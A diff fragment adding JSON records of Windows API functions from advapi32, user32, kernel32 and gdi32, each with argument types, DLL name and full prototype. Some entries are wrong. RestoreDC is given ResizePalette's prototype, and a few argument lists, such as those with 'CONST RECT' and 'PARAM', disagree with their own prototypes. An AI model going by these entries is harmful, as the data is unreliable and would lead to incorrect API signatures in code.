"advapi32.dll", + "full_prototype": "LONG RegQueryMultipleValuesA( HKEY hKey, PVALENT val_list, DWORD num_vals, LPTSTR lpValueBuf, LPDWORD ldwTotsize );" + }, + { + "function_name": "RegQueryMultipleValuesW", + "arguments": [ + "HKEY", + "PVALENTW", + "DWORD", + "LPWSTR", + "LPDWORD" + ], + "dll_name": "advapi32.dll", + "full_prototype": "LSTATUS RegQueryMultipleValuesW( HKEY hkey, PVALENTW val_list, DWORD num_vals, LPWSTR lpValueBuf, LPDWORD ldwTotsize );" + }, + { + "function_name": "RegQueryValueA", + "arguments": [ + "HKEY", + "LPCTSTR", + "LPTSTR", + "PLONG" + ], + "dll_name": "advapi32.dll", + "full_prototype": "LONG RegQueryValueA( HKEY hKey, LPCTSTR lpszSubKey, LPTSTR lpszValue, PLONG pcbValue );" + }, + { + "function_name": "RegQueryValueW", + "arguments": [ + "HKEY", + "LPCWSTR", + "LPWSTR", + "LPLONG" + ], + "dll_name": "advapi32.dll", + "full_prototype": "LSTATUS RegQueryValueW( HKEY hkey, LPCWSTR name, LPWSTR data, LPLONG count );" + }, + { + "function_name": "RegQueryValueExA", + "arguments": [ + "HKEY", + "LPTSTR", + "LPDWORD", + "LPDWORD", + "LPBYTE", + "LPDWORD" + ], + "dll_name": "advapi32.dll", + "full_prototype": "LONG RegQueryValueExA( HKEY hKey, LPTSTR lpszValueName, LPDWORD lpdwReserved, LPDWORD lpdwType, LPBYTE lpbData, LPDWORD lpcbData );" + }, + { + "function_name": "RegQueryValueExW", + "arguments": [ + "HKEY", + "LPCWSTR", + "LPDWORD", + "LPDWORD", + "LPBYTE", + "LPDWORD" + ], + "dll_name": "advapi32.dll", + "full_prototype": "LSTATUS RegQueryValueExW ( HKEY hkey, LPCWSTR name, LPDWORD reserved, LPDWORD type, LPBYTE data, LPDWORD count );" + }, + { + "function_name": "RegReplaceKeyA", + "arguments": [ + "HKEY", + "LPCTSTR", + "LPCTSTR", + "LPCTSTR" + ], + "dll_name": "advapi32.dll", + "full_prototype": "LONG RegReplaceKeyA( HKEY hKey, LPCTSTR lpSubKey, LPCTSTR lpNewFile, LPCTSTR lpOldFile );" + }, + { + "function_name": "RegReplaceKeyW", + "arguments": [ + "HKEY", + "LPCWSTR", + "LPCWSTR", + "LPCWSTR" + ], + "dll_name": "advapi32.dll", + "full_prototype": "LSTATUS RegReplaceKeyW( HKEY hkey, LPCWSTR lpSubKey, LPCWSTR lpNewFile, LPCWSTR lpOldFile );" + }, + { + "function_name": "RegRestoreKeyA", + "arguments": [ + "HKEY", + "LPCTSTR", + "DWORD" + ], + "dll_name": "advapi32.dll", + "full_prototype": "LONG RegRestoreKeyA( HKEY hKey, LPCTSTR lpszFile, DWORD fdw );" + }, + { + "function_name": "RegRestoreKeyW", + "arguments": [ + "HKEY", + "LPCWSTR", + "DWORD" + ], + "dll_name": "advapi32.dll", + "full_prototype": "LSTATUS RegRestoreKeyW( HKEY hkey, LPCWSTR lpFile, DWORD dwFlags );" + }, + { + "function_name": "RegSaveKeyA", + "arguments": [ + "HKEY", + "LPCTSTR", + "LPSECURITY_ATTRIBUTES" + ], + "dll_name": "advapi32.dll", + "full_prototype": "LONG RegSaveKeyA( HKEY hKey, LPCTSTR lpszFile, LPSECURITY_ATTRIBUTES lpsa );" + }, + { + "function_name": "RegSaveKeyW", + "arguments": [ + "HKEY", + "LPCWSTR", + "LPSECURITY_ATTRIBUTES" + ], + "dll_name": "advapi32.dll", + "full_prototype": "LSTATUS RegSaveKeyW ( HKEY hkey, LPCWSTR file, LPSECURITY_ATTRIBUTES sa );" + }, + { + "function_name": "RegSetKeySecurity", + "arguments": [ + "HKEY", + "SECURITY_INFORMATION", + "PSECURITY_DESCRIPTOR" + ], + "dll_name": "advapi32.dll", + "full_prototype": "LONG RegSetKeySecurity( HKEY hKey, SECURITY_INFORMATION si, PSECURITY_DESCRIPTOR psd );" + }, + { + "function_name": "RegSetValueA", + "arguments": [ + "HKEY", + "LPCTSTR", + "DWORD", + "LPCTSTR", + "DWORD" + ], + "dll_name": "advapi32.dll", + "full_prototype": "LONG RegSetValueA( HKEY hKey, LPCTSTR lpSubKey, DWORD dwType, LPCTSTR lpData, DWORD cbData );" + }, + { + "function_name": "RegSetValueW", + "arguments": [ + "HKEY", + "LPCWSTR", + "DWORD", + "LPCWSTR", + "DWORD" + ], + "dll_name": "advapi32.dll", + "full_prototype": "LSTATUS RegSetValueW ( HKEY hkey, LPCWSTR name, DWORD type, LPCWSTR data, DWORD count );" + }, + { + "function_name": "RegSetValueExA", + "arguments": [ + "HKEY", + "LPCTSTR", + "DWORD", + "DWORD", + "CONST BYTE *", + "DWORD" + ], + "dll_name": "advapi32.dll", + "full_prototype": "LONG RegSetValueExA( HKEY hKey, LPCTSTR lpValueName, DWORD Reserved, DWORD dwType, CONST BYTE * lpData, DWORD cbData );" + }, + { + "function_name": "RegSetValueExW", + "arguments": [ + "HKEY", + "LPCWSTR", + "DWORD", + "DWORD", + "CONST BYTE*", + "DWORD" + ], + "dll_name": "advapi32.dll", + "full_prototype": "LSTATUS RegSetValueExW( HKEY hkey, LPCWSTR name, DWORD reserved, DWORD type, CONST BYTE* data, DWORD count );" + }, + { + "function_name": "RegUnLoadKeyA", + "arguments": [ + "HKEY", + "LPCTSTR" + ], + "dll_name": "advapi32.dll", + "full_prototype": "LONG RegUnLoadKeyA( HKEY hKey, LPCTSTR lpszSubKey );" + }, + { + "function_name": "RegUnLoadKeyW", + "arguments": [ + "HKEY", + "LPCWSTR" + ], + "dll_name": "advapi32.dll", + "full_prototype": "LSTATUS RegUnLoadKeyW( HKEY hkey, LPCWSTR lpSubKey );" + }, + { + "function_name": "RegisterEventSourceA", + "arguments": [ + "LPCTSTR", + "LPCTSTR" + ], + "dll_name": "advapi32.dll", + "full_prototype": "HANDLE RegisterEventSourceA( LPCTSTR lpszUNCServer, LPCTSTR lpszSource );" + }, + { + "function_name": "RegisterEventSourceW", + "arguments": [ + "LPCWSTR", + "LPCWSTR" + ], + "dll_name": "advapi32.dll", + "full_prototype": "HANDLE RegisterEventSourceW( LPCWSTR lpUNCServerName, LPCWSTR lpSourceName );" + }, + { + "function_name": "ReleaseCapture", + "arguments": [ + "" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL ReleaseCapture(VOID);" + }, + { + "function_name": "ReleaseDC", + "arguments": [ + "HWND", + "HDC" + ], + "dll_name": "user32.dll", + "full_prototype": "int ReleaseDC(HWND hwnd, HDC hdc);" + }, + { + "function_name": "ReleaseMutex", + "arguments": [ + "HANDLE" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL ReleaseMutex(HANDLE hMutex);" + }, + { + "function_name": "ReleaseSemaphore", + "arguments": [ + "HANDLE", + "LONG", + "LPLONG" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL ReleaseSemaphore(HANDLE hSemaphore, LONG cReleaseCount,LPLONG lplPreviousCount);" + }, + { + "function_name": "RemoveDirectoryA", + "arguments": [ + "LPCTSTR" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL RemoveDirectoryA(LPCTSTR lpszDir);" + }, + { + "function_name": "RemoveDirectoryW", + "arguments": [ + "LPCWSTR" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL RemoveDirectoryW(LPCWSTR lpszDir);" + }, + { + "function_name": "RemoveDirectoryTransactedA", + "arguments": [ + "LPCTSTR", + "HANDLE" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL RemoveDirectoryTransactedA(LPCTSTR lpPathName, HANDLE hTransaction);" + }, + { + "function_name": "RemoveDirectoryTransactedW", + "arguments": [ + "LPCTWSTR", + "HANDLE" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL RemoveDirectoryTransactedW(LPCTWSTR lpPathName, HANDLE hTransaction);" + }, + { + "function_name": "RemoveFontResourceA", + "arguments": [ + "LPCTSTR" + ], + "dll_name": "gdi32.dll", + "full_prototype": "BOOL RemoveFontResourceA(LPCTSTR lpFileName);" + }, + { + "function_name": "RemoveFontResourceW", + "arguments": [ + "LPCWSTR" + ], + "dll_name": "gdi32.dll", + "full_prototype": "BOOL RemoveFontResourceW(LPCWSTR lpFileName);" + }, + { + "function_name": "RemoveMenu", + "arguments": [ + "HMENU", + "UINT", + "UINT" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL RemoveMenu(HMENU hmenu, UINT uItem,UINT fuFlags);" + }, + { + "function_name": "RemovePropA", + "arguments": [ + "HWND", + "LPCTSTR" + ], + "dll_name": "user32.dll", + "full_prototype": "HANDLE RemovePropA(HWND hwnd, LPCTSTR lpsz);" + }, + { + "function_name": "RemovePropW", + "arguments": [ + "HWND", + "LPCWSTR" + ], + "dll_name": "user32.dll", + "full_prototype": "HANDLE RemovePropW(HWND hwnd, LPCWSTR lpsz);" + }, + { + "function_name": "ReplyMessage", + "arguments": [ + "LRESULT" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL ReplyMessage(LRESULT lResult);" + }, + { + "function_name": "ReportEventA", + "arguments": [ + "HANDLE", + "WORD", + "WORD", + "DWORD", + "PSID", + "WORD", + "DWORD", + "LPCTSTR", + "LPVOID" + ], + "dll_name": "advapi32.dll", + "full_prototype": "BOOL ReportEventA( HANDLE hEventSource, WORD fwEventType, WORD fwCategory, DWORD IDEvent, PSID pUserSid, WORD cStrings, DWORD cbData, LPCTSTR *plpszStrings, LPVOID lpvData );" + }, + { + "function_name": "ReportEventW", + "arguments": [ + "HANDLE", + "WORD", + "WORD", + "DWORD", + "PSID", + "WORD", + "DWORD", + "LPCWSTR*", + "LPVOID" + ], + "dll_name": "advapi32.dll", + "full_prototype": "BOOL ReportEventW( HANDLE hEventLog, WORD wType, WORD wCategory, DWORD dwEventID, PSID lpUserSid, WORD wNumStrings, DWORD dwDataSize, LPCWSTR* lpStrings, LPVOID lpRawData );" + }, + { + "function_name": "ResetDCA", + "arguments": [ + "HDC", + "CONST DEVMODE *" + ], + "dll_name": "gdi32.dll", + "full_prototype": "HDC ResetDCA(HDC hdc, CONST DEVMODE * lpInitData);" + }, + { + "function_name": "ResetDCW", + "arguments": [ + "HDC", + "const DEVMODEW *" + ], + "dll_name": "gdi32.dll", + "full_prototype": "HDC ResetDCW(HDC hdc,const DEVMODEW * lpInitData);" + }, + { + "function_name": "ResetEvent", + "arguments": [ + "HANDLE" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL ResetEvent(HANDLE hEvent);" + }, + { + "function_name": "ResizePalette", + "arguments": [ + "HPALETTE", + "UINT" + ], + "dll_name": "gdi32.dll", + "full_prototype": "BOOL ResizePalette(HPALETTE hpal, UINT nEntries);" + }, + { + "function_name": "RestoreDC", + "arguments": [ + "HPALETTE", + "UINT" + ], + "dll_name": "gdi32.dll", + "full_prototype": "BOOL ResizePalette(HPALETTE hpal, UINT nEntries);" + }, + { + "function_name": "RestoreMyDocsFolder", + "arguments": [], + "dll_name": "mydocs.dll", + "full_prototype": "long RestoreMyDocsFolder();" + }, + { + "function_name": "ResumeThread", + "arguments": [ + "HANDLE" + ], + "dll_name": "kernel32.dll", + "full_prototype": "DWORD ResumeThread(HANDLE hThread);" + }, + { + "function_name": "ReuseDDElParam", + "arguments": [ + "LONG", + "UINT", + "UINT", + "UINT", + "UINT" + ], + "dll_name": "user32.dll", + "full_prototype": "LONG ReuseDDElParam(LONG lParam, UINT uMsgIn, UINT uMsgOut, UINT uLow, UINT uHigh);" + }, + { + "function_name": "RevertToSelf", + "arguments": [ + "" + ], + "dll_name": "advapi32.dll", + "full_prototype": "BOOL RevertToSelf(VOID);" + }, + { + "function_name": "RtlFillMemory", + "arguments": [ + "VOID*", + "SIZE_T", + "BYTE" + ], + "dll_name": "kernel32.dll", + "full_prototype": "VOID RtlFillMemory(VOID* Destination, SIZE_T Length, BYTE Fill);" + }, + { + "function_name": "RtlMoveMemory", + "arguments": [ + "VOID*", + "CONST VOID*", + "SIZE_T" + ], + "dll_name": "kernel32.dll", + "full_prototype": "VOID RtlMoveMemory(VOID* Destination, CONST VOID* Source,SIZE_T Length);" + }, + { + "function_name": "RoundRect", + "arguments": [ + "HDC", + "int", + "int", + "int", + "int", + "int", + "int" + ], + "dll_name": "gdi32.dll", + "full_prototype": "BOOL RoundRect(HDC hdc, int nLeftRect, int nTopRect,int nRightRect, int nBottomRect, int nWidth, int nHeight);" + }, + { + "function_name": "SaveDC", + "arguments": [ + "HDC" + ], + "dll_name": "gdi32.dll", + "full_prototype": "int SaveDC(HDC hdc);" + }, + { + "function_name": "ScaleViewportExtEx", + "arguments": [ + "HDC", + "int", + "int", + "int", + "int", + "LPSIZE" + ], + "dll_name": "gdi32.dll", + "full_prototype": "BOOL ScaleViewportExtEx(HDC hdc, int Xnum, int Xdenom, int Ynum, int Ydenom, LPSIZE lpSize);" + }, + { + "function_name": "ScaleWindowExtEx", + "arguments": [ + "HDC", + "int", + "int", + "int", + "int", + "LPSIZE" + ], + "dll_name": "gdi32.dll", + "full_prototype": "BOOL ScaleWindowExtEx(HDC hdc,int Xnum, int Xdenom,int Ynum, int Ydenom,LPSIZE lpSize);" + }, + { + "function_name": "ScreenToClient", + "arguments": [ + "HWND", + "LPPOINT" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL ScreenToClient(HWND hwnd, LPPOINT lpPoint);" + }, + { + "function_name": "ScrollConsoleScreenBufferA", + "arguments": [ + "HANDLE", + "PSMALL_RECT", + "PSMALL_RECT", + "COORD", + "PCHAR_INFO" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL ScrollConsoleScreenBufferA(HANDLE hConsoleOutput, PSMALL_RECT psrctSourceRect, PSMALL_RECT psrctClipRect,COORD coordDestOrigin, PCHAR_INFO pchiFill);" + }, + { + "function_name": "ScrollConsoleScreenBufferW", + "arguments": [ + "HANDLE", + "PSMALL_RECT", + "PSMALL_RECT", + "COORD", + "PCHAR_INFO" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL ScrollConsoleScreenBufferW(HANDLE hConsoleOutput, PSMALL_RECT psrctSourceRect, PSMALL_RECT psrctClipRect,COORD coordDestOrigin, PCHAR_INFO pchiFill);" + }, + { + "function_name": "ScrollDC", + "arguments": [ + "HDC", + "int", + "int", + "CONST RECT", + "CONST RECT", + "HRGN", + "LPRECT" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL ScrollDC(HDC hdc, int dx, int dy, CONST RECT *lprcScroll, CONST RECT *lprcClip, HRGN hrgnUpdate, LPRECT lprcUpdate);" + }, + { + "function_name": "ScrollWindow", + "arguments": [ + "HWND", + "int", + "int", + "CONST RECT *", + "CONST RECT *" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL ScrollWindow(HWND hwnd, int dx, int dy, CONST RECT * lprcScroll, CONST RECT * lprcClip);" + }, + { + "function_name": "ScrollWindowEx", + "arguments": [ + "HWND", + "int", + "int", + "CONST RECT", + "CONST RECT", + "HRGN", + "LPRECT", + "UINT" + ], + "dll_name": "user32.dll", + "full_prototype": "int ScrollWindowEx(HWND hwnd,int dx,int dy,CONST RECT *lprcScroll,CONST RECT *lprcClip, HRGN hrgnUpdate, LPRECT lprcUpdate, UINT fuScroll);" + }, + { + "function_name": "SearchPathA", + "arguments": [ + "LPCTSTR", + "LPCTSTR", + "LPCTSTR", + "DWORD", + "LPTSTR", + "LPTSTR" + ], + "dll_name": "kernel32.dll", + "full_prototype": "DWORD SearchPathA(LPCTSTR lpszPath, LPCTSTR lpszFile, LPCTSTR lpszExtension, DWORD cchReturnBuffer, LPTSTR lpszReturnBuffer, LPTSTR *plpszFilePart);" + }, + { + "function_name": "SearchPathW", + "arguments": [ + "LPCWSTR", + "LPCWSTR", + "LPCWSTR", + "DWORD", + "LPWSTR", + "LPWSTR*" + ], + "dll_name": "kernel32.dll", + "full_prototype": "DWORD SearchPathW(LPCWSTR path, LPCWSTR name, LPCWSTR ext, DWORD buflen, LPWSTR buffer, LPWSTR* lastpart);" + }, + { + "function_name": "SearchTreeForFile", + "arguments": [ + "PCTSTR", + "PCTSTR", + "PTSTR" + ], + "dll_name": "imagehlp.dll", + "full_prototype": "BOOL SearchTreeForFile(PCTSTR RootPath, PCTSTR InputPathName,PTSTR OutputPathBuffer);" + }, + { + "function_name": "SelectClipPath", + "arguments": [ + "HDC", + "int" + ], + "dll_name": "gdi32.dll", + "full_prototype": "BOOL SelectClipPath(HDC hdc, int iMode);" + }, + { + "function_name": "SelectClipRgn", + "arguments": [ + "HDC", + "HRGN" + ], + "dll_name": "gdi32.dll", + "full_prototype": "int SelectClipRgn(HDC hdc, HRGN hrgn);" + }, + { + "function_name": "SelectObject", + "arguments": [ + "HDC", + "HGDIOBJ" + ], + "dll_name": "gdi32.dll", + "full_prototype": "HGDIOBJ SelectObject(HDC hdc, HGDIOBJ hgdiobj);" + }, + { + "function_name": "SelectPalette", + "arguments": [ + "HDC", + "HPALETTE", + "BOOL" + ], + "dll_name": "gdi32.dll", + "full_prototype": "HPALETTE SelectPalette(HDC hdc, HPALETTE hpal, BOOL bForceBackground);" + }, + { + "function_name": "SendDlgItemMessageA", + "arguments": [ + "HWND", + "int", + "UINT", + "WPARAM", + "LPARAM" + ], + "dll_name": "user32.dll", + "full_prototype": "LONG SendDlgItemMessageA(HWND hwndDlg, int idControl, UINT uMsg, WPARAM wParam, LPARAM lParam);" + }, + { + "function_name": "SendDlgItemMessageW", + "arguments": [ + "HWND", + "int", + "UINT", + "WPARAM", + "LPARAM" + ], + "dll_name": "user32.dll", + "full_prototype": "LONG SendDlgItemMessageW(HWND hwndDlg, int idControl, UINT uMsg, WPARAM wParam, LPARAM lParam);" + }, + { + "function_name": "SendMessageA", + "arguments": [ + "HWND", + "UINT", + "WPARAM", + "LPARAM" + ], + "dll_name": "user32.dll", + "full_prototype": "LRESULT SendMessageA(HWND hwnd, UINT uMsg, WPARAM wParam, LPARAM lParam);" + }, + { + "function_name": "SendMessageCallbackA", + "arguments": [ + "HWND", + "UINT", + "WPARAM", + "PARAM", + "SENDASYNCPROC", + "DWORD" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL SendMessageCallbackA(HWND hwnd, UINT uMsg, WPARAM wParam, PARAM lParam, SENDASYNCPROC lpResultCallBack, DWORD dwData);" + }, + { + "function_name": "SendMessageCallbackW", + "arguments": [ + "HWND", + "UINT", + "WPARAM", + "PARAM", + "SENDASYNCPROC", + "DWORD" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL SendMessageCallbackW(HWND hwnd, UINT uMsg, WPARAM wParam, PARAM lParam, SENDASYNCPROC lpResultCallBack, DWORD dwData);" + }, + { + "function_name": "SendMessageTimeoutA", + "arguments": [ + "HWND", + "UINT", + "WPARAM", + "LPARAM", + "UINT", + "UINT", + "LPDWORD" + ], + "dll_name": "user32.dll", + "full_prototype": "LRESULT SendMessageTimeoutA(HWND hwnd, UINT uMsg, WPARAM wParam, LPARAM lParam, UINT fuFlags, UINT uTimeout, LPDWORD lpdwResult);" + }, + { + "function_name": "SendMessageTimeoutW", + "arguments": [ + "HWND", + "UINT", + "WPARAM", + "LPARAM", + "UINT", + "UINT", + "LPDWORD" + ], + "dll_name": "user32.dll", + "full_prototype": "LRESULT SendMessageTimeoutW(HWND hwnd, UINT uMsg, WPARAM wParam, LPARAM lParam, UINT fuFlags, UINT uTimeout, LPDWORD lpdwResult);" + }, + { + "function_name": "SendMessageW", + "arguments": [ + "HWND", + "UINT", + "WPARAM", + "LPARAM" + ], + "dll_name": "user32.dll", + "full_prototype": "LRESULT SendMessageW(HWND hwnd, UINT uMsg, WPARAM wParam, LPARAM lParam);" + }, + { + "function_name": "SendNotifyMessageA", + "arguments": [ + "HWND", + "UINT", + "WPARAM", + "LPARAM" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL SendNotifyMessageA(HWND hwnd,UINT uMsg, WPARAM wParam, LPARAM lParam);" + }, + { + "function_name": "SendNotifyMessageW", + "arguments": [ + "HWND", + "UINT", + "WPARAM", + "LPARAM" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL SendNotifyMessageW(HWND hwnd,UINT uMsg, WPARAM wParam, LPARAM lParam);" + }, + { + "function_name": "SetAbortProc", + "arguments": [ + "HDC", + "ABORTPROC" + ], + "dll_name": "gdi32.dll", + "full_prototype": "int SetAbortProc(HDC hdc, ABORTPROC lpAbortProc);" + }, + { + "function_name": "SetAclInformation", + "arguments": [ + "PACL", + "LPVOID", + "DWORD", + "ACL_INFORMATION_CLASS" + ], + "dll_name": "advapi32.dll", + "full_prototype": "BOOL SetAclInformation( PACL pAcl, LPVOID lpvAclInfo, DWORD cbAclInfo, ACL_INFORMATION_CLASS aclic );" + }, + { + "function_name": "SetActiveWindow", + "arguments": [ + "HWND" + ], + "dll_name": "user32.dll", + "full_prototype": "HWND SetActiveWindow(HWND hwnd);" + }, + { + "function_name": "SetArcDirection", + "arguments": [ + "HDC", + "int" + ], + "dll_name": "gdi32.dll", + "full_prototype": "int SetArcDirection(HDC hdc, int ArcDirection);" + }, + { + "function_name": "SetBitmapBits", + "arguments": [ + "HBITMAP", + "DWORD", + "CONST VOID" + ], + "dll_name": "gdi32.dll", + "full_prototype": "LONG SetBitmapBits(HBITMAP hbmp, DWORD cBytes, CONST VOID *lpBits);" + }, + { + "function_name": "SetBitmapDimensionEx", + "arguments": [ + "HBITMAP", + "int", + "int", + "LPSIZE" + ], + "dll_name": "gdi32.dll", + "full_prototype": "BOOL SetBitmapDimensionEx(HBITMAP hBitmap,int nWidth, int nHeight, LPSIZE lpSize);" + }, + { + "function_name": "SetBkColor", + "arguments": [ + "HDC", + "COLORREF" + ], + "dll_name": "gdi32.dll", + "full_prototype": "COLORREF SetBkColor(HDC hdc, COLORREF crColor);" + }, + { + "function_name": "SetBkMode", + "arguments": [ + "HDC", + "int" + ], + "dll_name": "gdi32.dll", + "full_prototype": "int SetBkMode(HDC hdc, int iBkMode);" + }, + { + "function_name": "SetBoundsRect", + "arguments": [ + "HDC", + "CONST RECT", + "UINT" + ], + "dll_name": "gdi32.dll", + "full_prototype": "UINT SetBoundsRect(HDC hdc, CONST RECT *lprcBounds, UINT flags);" + }, + { + "function_name": "SetBrushOrgEx", + "arguments": [ + "HDC", + "int", + "int", + "LPPOINT" + ], + "dll_name": "gdi32.dll", + "full_prototype": "BOOL SetBrushOrgEx(HDC hdc, int nXOrg, int nYOrg, LPPOINT lppt);" + }, + { + "function_name": "SetCapture", + "arguments": [ + "HWND" + ], + "dll_name": "user32.dll", + "full_prototype": "HWND SetCapture(HWND hwnd);" + }, + { + "function_name": "SetCaretBlinkTime", + "arguments": [ + "UINT" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL SetCaretBlinkTime(UINT wMSeconds);" + }, + { + "function_name": "SetCaretPos", + "arguments": [ + "int", + "int" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL SetCaretPos(int nX, int nY);" + }, + { + "function_name": "SetClassLongA", + "arguments": [ + "HWND", + "int", + "LONG" + ], + "dll_name": "user32.dll", + "full_prototype": "DWORD SetClassLongA(HWND hwnd,int nIndex, LONG lNewVal);" + }, + { + "function_name": "SetClassLongW", + "arguments": [ + "HWND", + "int", + "LONG" + ], + "dll_name": "user32.dll", + "full_prototype": "DWORD SetClassLongW(HWND hwnd,int nIndex, LONG lNewVal);" + }, + { + "function_name": "SetClassWord", + "arguments": [ + "HWND", + "int", + "WORD" + ], + "dll_name": "user32.dll", + "full_prototype": "WORD SetClassWord(HWND hwnd, int nIndex, WORD wNewWord);" + }, + { + "function_name": "SetClipboardData", + "arguments": [ + "UINT", + "HANDLE" + ], + "dll_name": "user32.dll", + "full_prototype": "HANDLE SetClipboardData(UINT uFormat, HANDLE hData);" + }, + { + "function_name": "SetClipboardViewer", + "arguments": [ + "HWND" + ], + "dll_name": "user32.dll", + "full_prototype": "HWND SetClipboardViewer(HWND hwnd);" + }, + { + "function_name": "SetColorAdjustment", + "arguments": [ + "HDC", + "CONST COLORADJUSTMENT *" + ], + "dll_name": "gdi32.dll", + "full_prototype": "BOOL SetColorAdjustment(HDC hdc, CONST COLORADJUSTMENT * lpca);" + }, + { + "function_name": "SetColorSpace", + "arguments": [ + "HDC", + "HCOLORSPACE" + ], + "dll_name": "gdi32.dll", + "full_prototype": "BOOL SetColorSpace(HDC hdc, HCOLORSPACE hColorSpace);" + }, + { + "function_name": "SetCommBreak", + "arguments": [ + "HANDLE" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL SetCommBreak(HANDLE hCommDev);" + }, + { + "function_name": "SetCommConfig", + "arguments": [ + "HANDLE", + "LPBYTE", + "DWORD" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL SetCommConfig(HANDLE hCommDev, LPBYTE lpCC, DWORD dwSize);" + }, + { + "function_name": "SetCommMask", + "arguments": [ + "HANDLE", + "DWORD" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL SetCommMask(HANDLE hCommDev,DWORD fdwEvtMask);" + }, + { + "function_name": "SetCommState", + "arguments": [ + "HANDLE", + "LPDCB" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL SetCommState(HANDLE hCommDev, LPDCB lpdcb);" + }, + { + "function_name": "SetCommTimeouts", + "arguments": [ + "HANDLE", + "LPCOMMTIMEOUTS" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL SetCommTimeouts(HANDLE hCommDev, LPCOMMTIMEOUTS lpctmo);" + }, + { + "function_name": "SetComputerNameA", + "arguments": [ + "LPCTSTR" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL SetComputerNameA(LPCTSTR lpszName);" + }, + { + "function_name": "SetComputerNameW", + "arguments": [ + "LPCWSTR" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL SetComputerNameW(LPCWSTR lpComputerName);" + }, + { + "function_name": "SetConsoleActiveScreenBuffer", + "arguments": [ + "HANDLE" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL SetConsoleActiveScreenBuffer(HANDLE hConsoleOutput);" + }, + { + "function_name": "SetConsoleCP", + "arguments": [ + "UINT" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL SetConsoleCP(UINT IDCodePage);" + }, + { + "function_name": "SetConsoleCtrlHandler", + "arguments": [ + "PHANDLER_ROUTINE", + "BOOL" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL SetConsoleCtrlHandler(PHANDLER_ROUTINE pHandlerRoutine, BOOL fAdd);" + }, + { + "function_name": "SetConsoleCursorInfo", + "arguments": [ + "HANDLE", + "PCONSOLE_CURSOR_INFO" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL SetConsoleCursorInfo(HANDLE hConsoleOutput, PCONSOLE_CURSOR_INFO pcci);" + }, + { + "function_name": "SetConsoleCursorPosition", + "arguments": [ + "HANDLE", + "COORD" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL SetConsoleCursorPosition( HANDLE hConsoleOutput, COORD coordCursor );" + }, + { + "function_name": "SetConsoleMode", + "arguments": [ + "HANDLE", + "DWORD" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL SetConsoleMode(HANDLE hConsole, DWORD fdwMode);" + }, + { + "function_name": "SetConsoleOutputCP", + "arguments": [ + "UINT" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL SetConsoleOutputCP(UINT IDCodePage);" + }, + { + "function_name": "SetConsoleScreenBufferSize", + "arguments": [ + "HANDLE", + "COORD" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL SetConsoleScreenBufferSize(HANDLE hConsoleOutput, COORD coordSize);" + }, + { + "function_name": "SetConsoleTextAttribute", + "arguments": [ + "HANDLE", + "WORD" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL SetConsoleTextAttribute(HANDLE hConsoleOutput, WORD wAttr);" + }, + { + "function_name": "SetConsoleTitleA", + "arguments": [ + "LPTSTR" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL SetConsoleTitleA(LPTSTR lpszTitle);" + }, + { + "function_name": "SetConsoleTitleW", + "arguments": [ + "LPCWSTR" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL SetConsoleTitleW(LPCWSTR title);" + }, + { + "function_name": "SetConsoleWindowInfo", + "arguments": [ + "HANDLE", + "BOOL", + "PSMALL_RECT" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL SetConsoleWindowInfo(HANDLE hConsoleOutput, BOOL fAbsolute, PSMALL_RECT psrctWindowRect);" + }, + { + "function_name": "SetCurrentDirectoryA", + "arguments": [ + "LPCTSTR" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL SetCurrentDirectoryA(LPCTSTR lpPathName);" + }, + { + "function_name": "SetCurrentDirectoryW", + "arguments": [ + "LPCWSTR" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL SetCurrentDirectoryW(LPCWSTR lpPathName);" + }, + { + "function_name": "SetCursor", + "arguments": [ + "HCURSOR" + ], + "dll_name": "user32.dll", + "full_prototype": "HCURSOR SetCursor(HCURSOR hcur);" + }, + { + "function_name": "SetCursorPos", + "arguments": [ + "int", + "int" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL SetCursorPos(int X, int Y);" + }, + { + "function_name": "SetDebugErrorLevel", + "arguments": [ + "DWORD" + ], + "dll_name": "user32.dll", + "full_prototype": "VOID SetDebugErrorLevel(DWORD dwLevel);" + }, + { + "function_name": "SetDefaultCommConfigA", + "arguments": [ + "LPCSTR", + "LPCOMMCONFIG", + "DWORD" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL SetDefaultCommConfigA(LPCSTR lpszName, LPCOMMCONFIG lpCC, DWORD 